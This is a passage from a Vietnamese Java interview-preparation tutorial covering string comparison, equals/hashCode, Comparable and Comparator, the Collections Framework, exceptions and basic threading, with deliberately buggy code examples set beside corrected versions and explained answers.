Quy tắc "so sánh String phải dùng equals()" dễ bị quên vì test với literal thì == vẫn chạy đúng. Đoạn code sau mô phỏng chuỗi nhận từ request (tạo lúc chạy, không nằm trong pool):
	public class StringEqualsBug {
    public static void main(String[] args) {
        String status = new String("ACTIVE");   // simulates a value read from a request
 
        if (status == "ACTIVE") {               // wrong: compares references
            System.out.println("== matched");
        } else {
            System.out.println("== failed");    // prints: == failed
        }
 
        if ("ACTIVE".equals(status)) {          // right: compares content, null-safe
            System.out.println("equals matched"); // prints: equals matched
        }
    }
}



Giải thích: bản sai in "== failed" dù nội dung giống hệt, vì status là object khác với literal trong pool. Bản đúng so nội dung. Đặt literal đứng trước ("ACTIVE".equals(status)) còn tránh được NPE khi status là null; cách khác là Objects.equals(a, b). Với tập giá trị cố định như trạng thái, dùng enum thì so sánh bằng == lại là đúng, vì mỗi hằng enum chỉ có một object.
	
	String
	StringBuilder
	StringBuffer

	Thay đổi được
	Không
	Có
	Có

	Thread-safe
	Có (vì bất biến)
	Không
	Có (synchronized)

	Dùng khi
	Hầu hết trường hợp
	Ghép chuỗi trong vòng lặp
	Hầu như không dùng nữa



Câu hỏi (Hiểu sâu): String s = new String("abc") tạo mấy object?
Một hoặc hai: literal "abc" vào pool nếu pool chưa có, và new luôn tạo thêm một object trên Heap.
Câu hỏi (Hiểu sâu): Vì sao không nối chuỗi bằng + trong vòng lặp?
Mỗi lần += tạo String mới và copy nội dung cũ, tổng chi phí O(n²); StringBuilder sửa trực tiếp trên buffer. Vì sao String bất biến: Chương 1.
Câu hỏi (Đọc code): Đoạn code dưới đây in ra gì?
	public class PoolQuiz {
    public static void main(String[] args) {
        String a = "java";
        String b = "ja" + "va";                 // two literals
        String part = "ja";
        String c = part + "va";                 // variable involved
        System.out.println(a == b);
        System.out.println(a == c);
        System.out.println(a == c.intern());
    }
}



Đáp án:
In true, false, true.
1. "ja" + "va" gồm toàn literal nên compiler tính sẵn thành "java" lúc biên dịch (constant folding), b trỏ vào object trong pool.
1. part + "va" có biến (không final), phép nối chạy lúc runtime và tạo object mới trên Heap, nên a == c là false.
1. c.intern() trả về object trong pool có cùng nội dung, nên bằng a. Dù vậy, trong code thật cứ dùng equals(), đừng dựa vào intern().
Câu hỏi (Hiểu sâu): Vì sao String được thiết kế bất biến?
Để dùng chung an toàn (String pool), an toàn khi nhiều thread cùng đọc, và làm key HashMap đáng tin cậy. Nếu String sửa được, một đoạn code đổi nội dung literal "admin" sẽ làm mọi chỗ khác dùng "admin" đổi theo. String còn cache hashCode sau lần tính đầu, việc này chỉ đúng khi nội dung không bao giờ đổi. Cuối cùng là bảo mật: đường dẫn file, URL, tên class đã kiểm tra xong thì không thể bị sửa lén sau đó.
N1.9 equals() và hashCode() cơ bản
	NHẮC LẠI KIẾN THỨC
== so sánh tham chiếu (hai biến có trỏ cùng một object không), equals() so sánh nội dung; nếu class không override thì equals() của Object chính là == (xem N1.8).



HashMap và HashSet không so sánh phần tử mới với toàn bộ phần tử cũ (quá chậm). Chúng chia dữ liệu vào một mảng các bucket (ngăn chứa): hashCode() là một số nguyên tính từ nội dung object, dùng để chọn ngăn; chỉ những object trong cùng ngăn mới được so tiếp bằng equals(). Hình dung tủ hồ sơ chia theo chữ cái đầu: tìm "Nam" thì chỉ lục ngăn N. Nếu hai object "bằng nhau" mà hashCode khác nhau, chúng bị cất vào hai ngăn khác nhau và không bao giờ được so với nhau.
equals() định nghĩa hai object "bằng nhau về nghiệp vụ"; hashCode() giúp HashMap/HashSet chọn bucket. Hợp đồng cốt lõi: equals nhau thì bắt buộc cùng hashCode, nên override equals thì phải override cả hashCode:
	import java.util.HashSet;
import java.util.Objects;
import java.util.Set;
 
public class Employee {
    private final String code;
    public Employee(String code) { this.code = code; }
 
    @Override
    public boolean equals(Object o) {                        // parameter must be Object
        if (this == o) return true;
        if (!(o instanceof Employee other)) return false;    // null or different type
        return Objects.equals(code, other.code);
    }
 
    @Override
    public int hashCode() { return Objects.hash(code); }     // same fields as equals
 
    public static void main(String[] args) {
        Set<Employee> set = new HashSet<>();
        set.add(new Employee("NV01"));
        set.add(new Employee("NV01"));
        System.out.println(set.size());                      // 1; without hashCode() it prints 2
    }
}



Giải thích: hai object cùng mã được coi là một nên Set giữ 1. Xóa hashCode() thì hai object rơi vào hai bucket khác nhau và size() ra 2. Class dữ liệu thuần nên dùng record, tự sinh equals/hashCode đúng. Hậu quả khi vi phạm và JPA entity: Chương 1.
Lỗi phổ biến thứ hai là viết equals nhận tham số đúng kiểu class thay vì Object. Code sai trông rất hợp lý:
	import java.util.HashSet;
import java.util.Set;
 
public class EqualsOverloadBug {
    static class Emp {
        final String code;
        Emp(String code) { this.code = code; }
        public boolean equals(Emp o) { return code.equals(o.code); } // overload, not override
        @Override public int hashCode() { return code.hashCode(); }
    }
 
    public static void main(String[] args) {
        Set<Emp> set = new HashSet<>();
        set.add(new Emp("NV01"));
        System.out.println(set.contains(new Emp("NV01"))); // prints: false
    }
}



Giải thích: equals(Emp o) là một method mới (overload, xem N1.6), không thay thế equals(Object o) của Object. HashSet gọi equals(Object), tức bản gốc so sánh tham chiếu, nên in false dù cùng mã. Nếu thêm @Override vào method sai, compiler chặn ngay: method does not override or implement a method from a supertype. Bản sửa là chữ ký public boolean equals(Object o) như class Employee ở trên, kèm @Override.
Câu hỏi (Cơ bản): Hai object cùng hashCode thì có equals nhau không?
Không nhất thiết, đó là va chạm (collision) và hoàn toàn hợp lệ. Chiều bắt buộc chỉ là equals nhau thì cùng hashCode. Ngược lại, không override thì equals() mặc định của Object chính là ==, so sánh tham chiếu.
Câu hỏi (Đọc code): Đoạn code dưới đây in ra gì?
	import java.util.HashSet;
import java.util.Objects;
import java.util.Set;
 
public class MutableKey {
    static class Point {
        int x;
        Point(int x) { this.x = x; }
        @Override public boolean equals(Object o) { return o instanceof Point p && p.x == x; }
        @Override public int hashCode() { return Objects.hash(x); }
    }
 
    public static void main(String[] args) {
        Set<Point> set = new HashSet<>();
        Point p = new Point(1);
        set.add(p);
        p.x = 2;                                // mutate after insertion
        System.out.println(set.contains(p));
        System.out.println(set.size());
    }
}



Đáp án:
In false rồi 1: object vẫn nằm trong set nhưng không tìm lại được. Lúc add, p được cất vào bucket tính từ hashCode của x = 1. Sau khi đổi x = 2, contains(p) tính hashCode mới, tìm ở bucket khác và không thấy. Phần tử "lạc" này không xóa được bằng remove(p) và là một dạng rò rỉ bộ nhớ. Quy tắc: field dùng trong equals/hashCode của object làm key phải bất biến; record hoặc field final giải quyết triệt để.
Câu hỏi (Hiểu sâu): Vì sao "equals nhau thì bắt buộc cùng hashCode", còn chiều ngược lại thì không?
Vì HashMap chỉ gọi equals() với các object trong cùng bucket; hai object bằng nhau mà khác hashCode sẽ nằm hai bucket và không bao giờ được so với nhau. Kết quả là contains trả false, put tạo bản ghi trùng. Chiều ngược lại không cần vì hashCode chỉ là số int (khoảng 4 tỷ giá trị) trong khi số object khác nhau là vô hạn, va chạm là không tránh khỏi; HashMap xử lý va chạm bằng cách so tiếp equals() trong bucket.
Câu hỏi (Thực chiến): Dùng Lombok @Data cho JPA entity có vấn đề gì?
@Data sinh equals/hashCode dựa trên mọi field, gồm cả id do DB sinh và các quan hệ lazy, gây lỗi khó thấy. Entity mới chưa có id, lưu xong id thay đổi làm hashCode đổi, nên entity đang nằm trong HashSet bị "lạc" như câu hỏi trên. hashCode đụng tới collection lazy có thể kích hoạt truy vấn ngoài ý muốn hoặc LazyInitializationException, và hai entity trỏ nhau có thể gây vòng lặp vô hạn (StackOverflowError) ở toString. Thực tế dùng @Getter/@Setter và tự viết equals/hashCode theo business key hoặc theo id với hashCode cố định; chi tiết ở Chương 1.
N1.10 Comparable và Comparator
	NHẮC LẠI KIẾN THỨC
int tràn thì quay vòng sang số âm mà không báo lỗi, và Integer.compare là method tiện ích của wrapper (xem N1.2). TreeSet/TreeMap dùng kết quả so sánh thay cho equals() (xem N1.9) để quyết định hai phần tử có trùng không.



Cả compareTo(o) và compare(a, b) đều trả về một số nguyên theo quy ước: âm nghĩa là phần tử thứ nhất đứng trước, 0 nghĩa là bằng nhau về thứ tự, dương nghĩa là đứng sau. Giá trị cụ thể (-1 hay -100) không quan trọng, chỉ dấu là quan trọng. Thứ tự tự nhiên là cách sắp xếp "hiển nhiên" nhất của một kiểu: số tăng dần, chuỗi theo bảng chữ cái, ngày theo thời gian.
Comparable định nghĩa thứ tự tự nhiên ngay trong class (compareTo), mỗi class một cái. Comparator là bộ so sánh tách rời (compare), tạo bao nhiêu cũng được, dùng khi cần nhiều cách sắp xếp hoặc không sửa được class:
	import java.util.ArrayList;
import java.util.Comparator;
import java.util.List;
 
public class SortDemo {
    record Student(int id, String name, double gpa) implements Comparable<Student> {
        public int compareTo(Student o) { return Integer.compare(id, o.id); } // by id
    }
 
    public static void main(String[] args) {
        List<Student> list = new ArrayList<>(List.of(
            new Student(3, "Chi", 3.5), new Student(1, "An", 3.8), new Student(2, "Bình", 3.5)));
 
        list.sort(null);                                      // null: use Comparable
        System.out.println(list.get(0).name());               // An
 
        list.sort(Comparator.comparingDouble(Student::gpa).reversed() // GPA descending
                .thenComparing(Student::name));                         // then by name
        list.forEach(s -> System.out.println(s.name()));      // An, Bình, Chi
    }
}



Giải thích: lần đầu sort theo id nên An đứng đầu; lần sau theo GPA giảm dần, Bình và Chi cùng 3.5 nên xét tiếp tên. comparing().thenComparing() thay cho if-else lồng nhau; Comparator.nullsLast(...) xử lý null.
Câu hỏi (Cơ bản): Khi nào dùng Comparable, khi nào dùng Comparator?
Comparable khi class có một thứ tự tự nhiên rõ ràng (số, ngày, mã). Comparator cho mọi cách sắp xếp khác, nhất là nhiều tiêu chí hoặc class của thư viện.
Câu hỏi (Thực chiến): Sắp xếp theo nhiều tiêu chí thế nào?
Nối thenComparing, đảo chiều bằng reversed(); không cần viết một class Comparator riêng cho mỗi tiêu chí như tài liệu cũ.
	BẪY THƯỜNG GẶP
Viết return this.id - o.id;. Với số lớn phép trừ bị tràn và cho dấu sai; dùng Integer.compare. TreeSet/TreeMap còn coi compareTo == 0 là trùng, Comparator thiếu tiêu chí sẽ làm "mất" phần tử.



Code minh họa cho bẫy "so sánh bằng phép trừ" ở trên, bản sai và bản sửa đặt cạnh nhau:
	public class CompareOverflow {
    public static void main(String[] args) {
        int a = -2_000_000_000, b = 2_000_000_000;  // clearly a < b
        System.out.println(a - b);                 // prints: 294967296 (overflow: positive, says a > b)
        System.out.println(Integer.compare(a, b)); // prints: -1 (correct: a < b)
    }
}



Giải thích: hiệu đúng là -4 tỷ, vượt giới hạn int (khoảng ±2,1 tỷ) nên quay vòng thành số dương 294967296; compareTo viết bằng phép trừ sẽ xếp a sau b, sort sai mà không có exception nào. Integer.compare chỉ so sánh, không tính hiệu, nên không bao giờ tràn. Id kiểu long thì dùng Long.compare.
Câu hỏi (Đọc code): Đoạn code dưới đây in ra gì?
	import java.util.Comparator;
import java.util.TreeSet;
 
public class TreeSetQuiz {
    record Student(String name, double gpa) {}
 
    public static void main(String[] args) {
        TreeSet<Student> set = new TreeSet<>(Comparator.comparingDouble(Student::gpa));
        set.add(new Student("An", 3.5));
        set.add(new Student("Bình", 3.5));
        set.add(new Student("Chi", 3.8));
        System.out.println(set.size());
    }
}



Đáp án:
In 2: "Bình" bị bỏ qua vì cùng GPA với "An". TreeSet không dùng equals() mà coi compare == 0 là trùng. Comparator chỉ xét GPA nên An và Bình "bằng nhau", phần tử thêm sau bị bỏ im lặng. Sửa: thêm tiêu chí phân biệt, ví dụ .thenComparing(Student::name), để comparator chỉ trả 0 khi hai phần tử thật sự trùng.
Câu hỏi (Thực chiến): Danh sách đơn hàng có phân trang, nên sắp xếp trong Java bằng Comparator hay trong SQL?
Sắp xếp trong SQL (ORDER BY) khi có phân trang hoặc dữ liệu lớn; Comparator dành cho dữ liệu đã nằm trong bộ nhớ và nhỏ. Nếu lấy trang 1 (20 dòng) rồi mới sort bằng Java, bạn chỉ sắp xếp 20 dòng đó chứ không phải "20 đơn mới nhất" của toàn bảng. Sort trong DB còn tận dụng được index. Comparator hợp lý khi gộp dữ liệu từ nhiều nguồn (hai API) hoặc tiêu chí sắp xếp tính toán phức tạp không biểu diễn được bằng SQL.
N1.11 Collections Framework tổng quan
	NHẮC LẠI KIẾN THỨC
Collection chỉ chứa object, nên List<Integer> chứa các object Integer và số được autoboxing khi thêm vào (xem N1.2). HashSet/HashMap xác định trùng lặp bằng hashCode() rồi equals() (xem N1.9); TreeSet/TreeMap dùng compareTo/Comparator (xem N1.10).



Collections Framework là bộ interface và class có sẵn trong java.util để chứa nhóm object: danh sách, tập hợp, hàng đợi, bảng tra cứu key-value. Các cột "O(1)", "O(n)" trong bảng dưới dùng ký hiệu Big-O, mô tả thời gian tăng thế nào khi số phần tử n tăng: O(1) là gần như không đổi dù có 10 hay 10 triệu phần tử; O(n) là tăng tỉ lệ thuận với n (phải đi qua từng phần tử); O(log n) là tăng rất chậm (1 triệu phần tử chỉ cần khoảng 20 bước), đặc trưng của cấu trúc cây như TreeSet.
1. Collection (kế thừa Iterable)
60. List (có thứ tự, có index, cho trùng): ArrayList, LinkedList, Vector (cũ)
60. Set (không trùng): HashSet, LinkedHashSet, TreeSet
60. Queue/Deque: ArrayDeque, PriorityQueue
1. Map là nhánh riêng, không kế thừa Collection: HashMap, LinkedHashMap, TreeMap, Hashtable (cũ), ConcurrentHashMap
	List
	Cấu trúc
	get(i) / chèn giữa
	Thread-safe

	ArrayList
	Mảng động, tăng 1,5 lần
	O(1) / O(n)
	Không

	LinkedList
	Liên kết đôi
	O(n) / O(n)
	Không

	Vector
	Mảng động, tăng gấp đôi
	O(1) / O(n)
	Có, lỗi thời



	Set
	Thứ tự
	null
	Thao tác chính

	HashSet
	Không đảm bảo
	Cho một null
	O(1)

	LinkedHashSet
	Thứ tự thêm vào
	Cho một null
	O(1)

	TreeSet
	Sắp xếp
	Không cho
	O(log n)



	Map
	null
	Thứ tự
	Thread-safe

	HashMap
	1 key null, nhiều value null
	Không đảm bảo
	Không

	LinkedHashMap
	Như HashMap
	Thứ tự thêm
	Không

	TreeMap
	Key không null
	Sắp theo key
	Không

	Hashtable
	Không cho null
	Không đảm bảo
	Có (khóa cả bảng)



Array vs ArrayList: Array cố định kích thước, chứa được primitive; ArrayList tự tăng, chỉ chứa object (có boxing). Chuyển đổi: list.toArray(new String[0]) và new ArrayList<>(Arrays.asList(arr)).
Iterator duyệt collection bằng hasNext(), next(), remove(). Nó là con trỏ trên chính collection, không copy dữ liệu. Đoạn code sau xóa phần tử an toàn khi đang duyệt:
	import java.util.ArrayList;
import java.util.Iterator;
import java.util.List;
 
public class IteratorDemo {
    public static void main(String[] args) {
        List<Integer> nums = new ArrayList<>(List.of(1, 2, 3, 4, 5, 6));
        // for (Integer n : nums) if (n % 2 == 0) nums.remove(n); // ConcurrentModificationException
 
        Iterator<Integer> it = nums.iterator();    // iterates over the list itself
        while (it.hasNext()) {
            if (it.next() % 2 == 0) it.remove();   // safe removal via the iterator
        }
        System.out.println(nums);                  // [1, 3, 5]
        nums.removeIf(n -> n > 3);                 // Java 8+: shorter
        System.out.println(nums);                  // [1, 3]
    }
}



Giải thích: for-each dùng iterator ngầm; nums.remove() làm list đổi cấu trúc sau lưng iterator nên lần next() sau ném ConcurrentModificationException (fail-fast). it.remove() cập nhật cả iterator và xóa thật trên list gốc. Tìm phần tử chung (retainAll) và xóa trùng: bài 6, N1.16.
Fail-fast nghĩa là "phát hiện sai thì dừng ngay": iterator ghi nhớ số lần list bị thay đổi cấu trúc lúc nó được tạo, và mỗi lần next() lại kiểm tra; thấy khác là ném ConcurrentModificationException ngay thay vì chạy tiếp với dữ liệu lệch. Tên exception có chữ "Concurrent" nhưng lỗi này xảy ra cả khi chỉ có một thread, như ví dụ trên.
Câu hỏi (Cơ bản): ArrayList và LinkedList, dùng cái nào?
ArrayList truy cập theo index O(1), chèn giữa O(n). LinkedList thêm/xóa đầu cuối O(1) nhưng get(i) O(n) và tốn bộ nhớ cho node. Thực tế gần như luôn dùng ArrayList; cần hàng đợi hai đầu thì dùng ArrayDeque.
Câu hỏi (Cơ bản): List khác Set thế nào? Làm sao để HashMap thread-safe?
List có thứ tự, có index, cho trùng; Set không cho trùng, xác định trùng bằng hashCode() rồi equals(). Cần thread-safe thì dùng ConcurrentHashMap; Hashtable và Collections.synchronizedMap khóa cả map nên chậm (Chương 3).
	BẪY THƯỜNG GẶP
"Iterator tạo bản sao nên duyệt không ảnh hưởng dữ liệu" (có trong một số đáp án cũ) là sai. Bẫy khác: Arrays.asList(arr) có kích thước cố định, gọi add() ném UnsupportedOperationException; List.of() bất biến hoàn toàn.



Câu hỏi (Đọc code): Đoạn code dưới đây in ra gì?
	import java.util.ArrayList;
import java.util.List;
 
public class RemoveQuiz {
    public static void main(String[] args) {
        List<Integer> list = new ArrayList<>(List.of(1, 2, 3));
        list.remove(1);                         // which overload?
        System.out.println(list);
        list.remove(Integer.valueOf(1));
        System.out.println(list);
    }
}



Đáp án:
In [1, 3] rồi [3]. List có hai overload: remove(int index) và remove(Object o). Lời gọi remove(1) với 1 là int khớp chính xác remove(int index), nên xóa phần tử ở vị trí 1 (số 2), compiler không autoboxing khi đã có bản khớp primitive (xem N1.6). remove(Integer.valueOf(1)) truyền object nên chọn remove(Object), xóa phần tử có giá trị 1. Bẫy này hay gặp khi xóa id kiểu int khỏi List<Integer>.
Câu hỏi (Thực chiến): Cache dùng HashMap<ProductKey, Price> cứ phình to mãi dù chỉ có vài trăm sản phẩm. Nghi ngờ gì trước tiên?
Nghi ngờ ProductKey không override equals/hashCode (hoặc override sai), nên mỗi lần tạo key mới với cùng nội dung lại thành một entry mới. Không override thì hai key cùng nội dung là hai object khác nhau, get luôn trả null, code "cache miss" rồi put thêm entry. Kiểm tra bằng cách log map.size() hoặc xem heap dump thấy hàng nghìn ProductKey trùng nội dung. Sửa: dùng record ProductKey(...) hoặc tự override đúng; cache thật nên có giới hạn kích thước và thời hạn (Caffeine, Redis).
N1.12 Exception cơ bản
Exception là một object mô tả sự cố xảy ra khi chạy. Khi một dòng code "ném" (throw) exception, JVM dừng method hiện tại và đi ngược lên các method đã gọi nó, tìm khối catch phù hợp; không ai bắt thì thread kết thúc và in stack trace (danh sách các method đang gọi dở, từ chỗ lỗi ngược về main), thứ bạn đọc đầu tiên khi điều tra lỗi production.
1. Throwable
62. Error: sự cố nghiêm trọng của JVM (OutOfMemoryError, StackOverflowError), ứng dụng không nên bắt.
62. Exception
62. Checked (không thuộc RuntimeException): IOException, SQLException. Compiler bắt buộc catch hoặc khai báo throws.
62. RuntimeException (unchecked): NullPointerException, IllegalArgumentException. Không bắt buộc xử lý.
Gọi Files.readString(path) mà không xử lý IOException thì không biên dịch được; Integer.parseInt("abc") chỉ ném NumberFormatException lúc chạy. Đoạn code sau gom đủ cú pháp cơ bản:
	import java.io.BufferedReader;
import java.io.IOException;
import java.io.StringReader;
 
public class ExceptionDemo {
    static class BalanceException extends RuntimeException { // custom exception
        BalanceException(String msg) { super(msg); }
    }
    static String firstLine(String text) throws IOException {             // throws: declaration
        try (BufferedReader r = new BufferedReader(new StringReader(text))) { // close() called automatically
            return r.readLine();
        }
    }
 
    public static void main(String[] args) {
        try {
            System.out.println(firstLine("dòng 1\ndòng 2"));  // dòng 1
            Integer.parseInt("abc");                          // NumberFormatException
        } catch (NumberFormatException | IOException e) {     // multi-catch
            System.out.println("Lỗi: " + e.getMessage());
        } finally {
            System.out.println("finally luôn chạy");
        }
        throw new BalanceException("Số dư không đủ");      // throw: raise an exception
    }
}



Giải thích: chương trình in "dòng 1", dòng lỗi, "finally luôn chạy", rồi dừng với stack trace của BalanceException. throw là câu lệnh ném object, throws là khai báo trên chữ ký method. Try-with-resources tự close() mọi AutoCloseable kể cả khi có exception. Exception nghiệp vụ nên kế thừa RuntimeException và giữ cause khi bọc lỗi khác.
Quy tắc "không nuốt lỗi, bọc lỗi phải giữ nguyên nhân" dễ hiểu hơn khi đặt cạnh nhau. Bản sai che giấu dữ liệu hỏng:
	static int parseQuantityWrong(String raw) {
    try {
        return Integer.parseInt(raw);
    } catch (NumberFormatException e) {
        return 0;                               // wrong: bad input silently becomes 0, no log
    }
}



Bản sửa ném exception nghiệp vụ và truyền lỗi gốc làm cause:
	public class WrapCause {
    static class OrderException extends RuntimeException {
        OrderException(String msg, Throwable cause) { super(msg, cause); }
    }
 
    static int parseQuantity(String raw) {
        try {
            return Integer.parseInt(raw);
        } catch (NumberFormatException e) {
            throw new OrderException("Invalid quantity: " + raw, e); // keep the original cause
        }
    }
 
    public static void main(String[] args) {
        try {
            parseQuantity("abc");
        } catch (OrderException e) {
            System.out.println(e.getMessage());                       // prints: Invalid quantity: abc
            System.out.println(e.getCause().getClass().getSimpleName()); // prints: NumberFormatException
        }
    }
}



Giải thích: bản sai biến đầu vào rác "abc" thành số lượng 0, đơn hàng vẫn được tạo và không ai biết có lỗi. Bản sửa báo lỗi rõ nghĩa nghiệp vụ; nhờ truyền e làm cause, stack trace in ra còn có đoạn "Caused by: java.lang.NumberFormatException" chỉ đúng dòng gốc. Tầng trên (ví dụ @RestControllerAdvice trong Spring) bắt OrderException và trả HTTP 400.
Câu hỏi (Hiểu sâu): finally có luôn chạy không?
Gần như luôn, kể cả khi try có return hoặc exception; không chạy khi gọi System.exit(), JVM bị kill/crash, hoặc thread kẹt vô hạn trong try. Đừng return trong finally: nó ghi đè giá trị return của try và nuốt luôn exception.
Câu hỏi (Cơ bản): Checked và unchecked khác nhau thế nào? Error khác Exception ra sao?
Checked bị compiler bắt buộc xử lý, dành cho sự cố bên ngoài có thể phục hồi (file, mạng); unchecked là lỗi lập trình hoặc vi phạm nghiệp vụ; Error là sự cố mức JVM, không nên bắt. Thiết kế exception trong dự án: Chương 1.
	BẪY THƯỜNG GẶP
catch (Exception e) {} rỗng hoặc chỉ e.printStackTrace(). Lỗi bị nuốt, production không có log, và câu hỏi tiếp theo sẽ là "rồi ai biết là có lỗi?".



Câu hỏi (Đọc code): Đoạn code dưới đây in ra gì?
	public class FinallyQuiz {
    static int f() {
        try {
            return 1;
        } finally {
            System.out.println("finally");
        }
    }
 
    static int g() {
        int x = 1;
        try {
            return x;
        } finally {
            x = 2;                              // too late to change the returned value
        }
    }
 
    public static void main(String[] args) {
        System.out.println(f());
        System.out.println(g());
    }
}



Đáp án:
In finally, 1, 1. Ở f(), return 1 tính xong giá trị trả về, rồi finally chạy (in "finally") trước khi method thật sự thoát. Ở g(), giá trị của x (1) đã được lưu lại tại lệnh return; gán x = 2 trong finally chỉ đổi biến cục bộ, không đổi giá trị đã lưu. Nếu finally có return riêng thì nó mới ghi đè, và đó là lý do không bao giờ return trong finally.
Câu hỏi (Thực chiến): Method @Transactional ném checked exception thì transaction có rollback không?
Mặc định không: Spring chỉ rollback với unchecked exception (RuntimeException) và Error; checked exception thì vẫn commit. Đây là lý do exception nghiệp vụ nên kế thừa RuntimeException. Nếu buộc phải ném checked exception, khai báo @Transactional(rollbackFor = Exception.class). Câu này nối kiến thức checked/unchecked ở mục này với Transaction trong Spring (chi tiết ở chương Spring).
N1.13 Thread cơ bản
	NHẮC LẠI KIẾN THỨC
Stack là vùng nhớ riêng chứa biến cục bộ và lời gọi method; Heap là vùng nhớ dùng chung chứa mọi object, biến chỉ giữ tham chiếu tới object (xem sơ đồ ở N1.2). Field static chỉ có một bản dùng chung cho cả chương trình (xem N1.3).



Process là chương trình đang chạy, có vùng nhớ riêng. Thread là luồng thực thi trong process; các thread dùng chung Heap (nguồn gốc race condition) nhưng mỗi thread có Stack riêng.
Tạo thread bằng cách kế thừa Thread, truyền Runnable (thường là lambda) vào Thread, hoặc gửi task vào ExecutorService. Dự án thật gần như luôn dùng thread pool:
	import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
import java.util.concurrent.Future;
 
public class CreateThreads {
    public static void main(String[] args) throws Exception {
        Runnable task = () -> System.out.println("Chạy trên " + Thread.currentThread().getName());
 
        Thread t = new Thread(task, "worker-1");
        t.start();                    // new thread, run() executes on it
        t.join();                     // main waits for worker-1 to finish
        task.run();                   // plain method call: runs on main
 
        try (ExecutorService pool = Executors.newFixedThreadPool(2)) { // Java 19+: pool closed automatically
            Future<Integer> f = pool.submit(() -> 1 + 1);             // Callable returns a result
            System.out.println("Kết quả: " + f.get());                // 2
        }
    }
}



Giải thích: in "Chạy trên worker-1", "Chạy trên main", "Kết quả: 2". Chỉ start() mới tạo thread mới; run() gọi trực tiếp chạy trên thread hiện tại. ExecutorService tái sử dụng và giới hạn số thread, nhận Callable có kết quả. Cấu hình pool cho production: Chương 3.
Khi hai thread cùng sửa một biến, kết quả có thể sai. Đây là race condition kinh điển:
	public class CounterRace {
    private int count = 0;
 
    void increment() { count++; }                 // unsafe: read, add, write are 3 steps
    // synchronized void increment() { count++; } // fix: one thread at a time
 
    public static void main(String[] args) throws InterruptedException {
        CounterRace c = new CounterRace();
        Runnable job = () -> { for (int i = 0; i < 100_000; i++) c.increment(); };
        Thread t1 = new Thread(job), t2 = new Thread(job);
        t1.start(); t2.start();
        t1.join(); t2.join();
        System.out.println(c.count);              // usually less than 200000
    }
}



Giải thích: hai thread cùng đọc 10, cùng ghi 11, mất một lần tăng, nên kết quả thiếu và mỗi lần một khác. synchronized buộc thread giữ khóa (monitor) của object mới được vào, kết quả luôn 200000. Gọn hơn thì dùng AtomicInteger; volatile không sửa được lỗi này (Chương 3).
Giải nghĩa các thuật ngữ vừa dùng: race condition là lỗi mà kết quả phụ thuộc vào việc thread nào chạy trước, nên mỗi lần chạy một khác và rất khó tái hiện. Thao tác atomic (nguyên tử) là thao tác không thể bị thread khác chen vào giữa; count++ không atomic vì gồm ba bước đọc, cộng, ghi. Monitor là cái khóa mà mọi object Java đều có sẵn; synchronized trên method instance dùng monitor của chính object đó (this). Bản dùng AtomicInteger:
	import java.util.concurrent.atomic.AtomicInteger;
 
public class AtomicCounter {
    public static void main(String[] args) throws InterruptedException {
        AtomicInteger count = new AtomicInteger();
        Runnable job = () -> { for (int i = 0; i < 100_000; i++) count.incrementAndGet(); }; // atomic ++
        Thread t1 = new Thread(job), t2 = new Thread(job);
        t1.start(); t2.start();
        t1.join(); t2.join();
        System.out.println(count.get());        // prints: 200000, every run
    }
}



Giải thích: incrementAndGet() dùng lệnh CPU so-sánh-và-gán (CAS) để tăng một cách atomic, không cần khóa, nên kết quả luôn đúng 200000. count là biến cục bộ nhưng object AtomicInteger nằm trên Heap, cả hai thread cùng thấy nó; đó chính là lý do dữ liệu dùng chung giữa các thread phải được bảo vệ, còn biến cục bộ kiểu primitive trên Stack của mỗi thread thì không cần.
Deadlock là các thread giữ khóa và chờ khóa của nhau theo vòng tròn:
	public class DeadlockDemo {
    static final Object A = new Object(), B = new Object();
 
    public static void main(String[] args) {
        new Thread(() -> { synchronized (A) { pause(); synchronized (B) { } } }).start(); // holds A, waits for B
        new Thread(() -> { synchronized (B) { pause(); synchronized (A) { } } }).start(); // holds B, waits for A
    }
 
    static void pause() {
        try { Thread.sleep(100); } catch (InterruptedException e) { Thread.currentThread().interrupt(); }
    }
}



Giải thích: chương trình treo vĩnh viễn vì mỗi thread giữ đúng khóa thread kia cần. Phòng tránh: mọi thread lấy khóa theo cùng thứ tự (luôn A rồi B). Phát hiện bằng thread dump (jstack, jcmd <pid> Thread.print), trong đó ghi "Found one Java-level deadlock".
	Tiêu chí
	Thread.sleep()
	Object.wait()

	Nhả khóa
	Không
	Có

	Gọi ở đâu
	Bất kỳ đâu
	Trong synchronized trên chính object đó

	Thức dậy
	Hết thời gian, interrupt
	notify()/notifyAll(), timeout, interrupt



Trạng thái thread theo Thread.State: NEW (chưa start), RUNNABLE (đang chạy hoặc sẵn sàng), BLOCKED (chờ vào synchronized), WAITING (wait(), join() không thời hạn), TIMED_WAITING (sleep(ms), wait(ms)), TERMINATED. Không có trạng thái "RUNNING" riêng.
Câu hỏi (Cơ bản): start() và run() khác nhau thế nào?
start() yêu cầu JVM tạo thread mới rồi gọi run() trên đó, gọi lần hai ném IllegalThreadStateException. run() gọi trực tiếp chỉ là method thường trên thread hiện tại.
Câu hỏi (Thực chiến): Làm sao chắc chắn thread A chạy xong trước thread B?
Cho B gọi a.join() trước khi làm việc, dùng CountDownLatch, hoặc CompletableFuture.runAsync(a).thenRun(b).
	BẪY THƯỜNG GẶP
Trả lời "dùng setPriority() cho A cao hơn". Priority chỉ là gợi ý cho bộ lập lịch của hệ điều hành, không đảm bảo thứ tự nào cả.



Câu hỏi (Đọc code): Đoạn code dưới đây in ra gì?
	public class RunVsStart {
    public static void main(String[] args) throws InterruptedException {
        Thread t = new Thread(() -> System.out.println(Thread.currentThread().getName()), "worker");
        t.run();
        t.start();
        t.join();
    }
}



Đáp án:
In main rồi worker. t.run() chỉ là lời gọi method bình thường nên lambda chạy trên thread hiện tại là main. t.start() mới tạo thread mới tên "worker" và chạy lambda trên đó; join() giữ main chờ nên output luôn theo thứ tự này.
Câu hỏi (Thực chiến): API tạo new Thread(...) cho mỗi request để gửi email. Khi traffic tăng, server hết bộ nhớ. Vì sao và sửa thế nào?
Mỗi platform thread tốn một Stack riêng (mặc định khoảng 1 MB) và tài nguyên của hệ điều hành; tạo không giới hạn thì traffic tăng là số thread tăng theo tới khi cạn bộ nhớ (OutOfMemoryError: unable to create native thread). Sửa: dùng thread pool có giới hạn (ExecutorService hoặc @Async với ThreadPoolTaskExecutor cấu hình kích thước và hàng đợi), hoặc đưa việc gửi email vào message queue. Java 21 có virtual thread rẻ hơn nhiều, nhưng vẫn cần giới hạn tài nguyên phía sau như kết nối SMTP (Chương 3).
N1.14 Pass by value, shallow/deep copy và Serializable
